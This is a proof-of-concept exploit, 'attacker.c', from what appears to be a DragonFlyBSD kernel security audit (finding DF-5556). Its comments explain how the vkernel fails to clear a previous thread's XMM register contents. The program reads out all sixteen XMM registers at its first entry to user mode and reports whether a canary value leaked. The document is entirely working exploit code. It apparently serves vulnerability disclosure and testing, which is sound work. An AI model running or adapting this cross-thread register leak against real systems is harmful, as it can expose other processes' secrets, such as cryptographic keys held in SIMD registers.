โฌข DragonFlyBSD Kernel Audit
DF-5556 / attacker.c
โ† back to finding โ†“ download raw
/*
 * DF-5556 attacker โ€” runs INSIDE the vkernel.
 *
 * Static, -nostartfiles, raw syscalls (NO libc: libc's error path
 * dereferences %fs:0 TLS which is uninitialized without crt).
 *
 * The leak window is THIS process's FIRST entry to user mode: the
 * vkernel's go_user()/npxdna() takes the first-use path (npxinit),
 * which fxsave()s the LIVE XMM registers โ€” the previous FP owner's
 * leftovers, never wiped by the vkernel's npxsave() โ€” into our
 * td_savefpu and fxrstor()s them right back into the live registers.
 * So _start runs with XMM0..15 still holding the previous thread's
 * data.  We read them out IMMEDIATELY โ€” before any blocking syscall โ€”
 * one register at a time into scalars, printed immediately (tiny stack
 * frame: the vkernel's initial user %rsp sits close under the stack
 * top page).
 *
 * Build: cc -static -O2 -nostartfiles -fno-stack-protector -o attacker attacker.c
 */
void _start(void);

static long
xsys3(long n, long a, long b, long c)
{
	long ret;
	__asm__ __volatile__("syscall"
	    : "=a"(ret)
	    : "a"(n), "D"(a), "S"(b), "d"(c)
	    : "rcx", "r11", "memory");
	return ret;
}

static const char hex[] = "0123456789abcdef";

#define RDHALVES(i)                                                        \
	__asm__ volatile(                                                  \
	    "movq    %%xmm" #i ", %0        \n\t"                           \
	    "movhlps %%xmm" #i ", %%xmm" #i "\n\t"                           \
	    "movq    %%xmm" #i ", %1"                                       \
	    : "=r"(lo), "=r"(hi))

void
_start(void)
{
	unsigned long long lo, hi;
	char line[40];
	int i, j, k, leak = 0, idx = 0;

	/* THE READOUT โ€” first instructions of the new image */
	for (i = 0; i < 16; i++) {
		switch (i) {
		case 0:  RDHALVES(0);  break;
		case 1:  RDHALVES(1);  break;
		case 2:  RDHALVES(2);  break;
		case 3:  RDHALVES(3);  break;
		case 4:  RDHALVES(4);  break;
		case 5:  RDHALVES(5);  break;
		case 6:  RDHALVES(6);  break;
		case 7:  RDHALVES(7);  break;
		case 8:  RDHALVES(8);  break;
		case 9:  RDHALVES(9);  break;
		case 10: RDHALVES(10); break;
		case 11: RDHALVES(11); break;
		case 12: RDHALVES(12); break;
		case 13: RDHALVES(13); break;
		case 14: RDHALVES(14); break;
		case 15: RDHALVES(15); break;
		}
		if (hi == 0xDF555600DEADBEEFULL)
			leak++;
		if (lo == (unsigned long long)i)
			idx++;

		k = 0;
		line[k++] = 'X';
		line[k++] = hex[(i >> 4) & 0xf];
		line[k++] = hex[i & 0xf];
		line[k++] = ' ';
		for (j = 1; j >= 0; j--) {
			unsigned long long v = (j == 1) ? hi : lo;
			int b;
			for (b = 60; b >= 0; b -= 4)
				line[k++] = hex[(v >> b) & 0xf];
			line[k++] = ' ';
		}
		line[k++] = '\n';
		xsys3(4, 1, (long)line, k);	/* write(1, line, k) */
	}

	/* verdict line */
	k = 0;
	line[k++] = 'L'; line[k++] = 'E'; line[k++] = 'A'; line[k++] = 'K';
	line[k++] = '_'; line[k++] = 'R'; line[k++] = 'E'; line[k++] = 'G';
	line[k++] = 'S'; line[k++] = '=';
	if (leak >= 10) { line[k++] = '0' + (leak / 10); }
	line[k++] = '0' + (leak % 10);
	line[k++] = 'I'; line[k++] = 'D'; line[k++] = 'X'; line[k++] = '=';
	if (idx >= 10) { line[k++] = '0' + (idx / 10); }
	line[k++] = '0' + (idx % 10);
	line[k++] = ' '; line[k++] = 'R'; line[k++] = 'E'; line[k++] = 'S';
	line[k++] = 'U'; line[k++] = 'L'; line[k++] = 'T'; line[k++] = '=';
	if (leak > 0) { line[k++]='L'; line[k++]='E'; line[k++]='A'; line[k++]='K'; }
	else          { line[k++]='C'; line[k++]='L'; line[k++]='E'; line[k++]='A'; line[k++]='N'; }
	line[k++] = '\n';
	xsys3(4, 1, (long)line, k);

	xsys3(1, 0, 0, 0);			/* _exit(0) */
}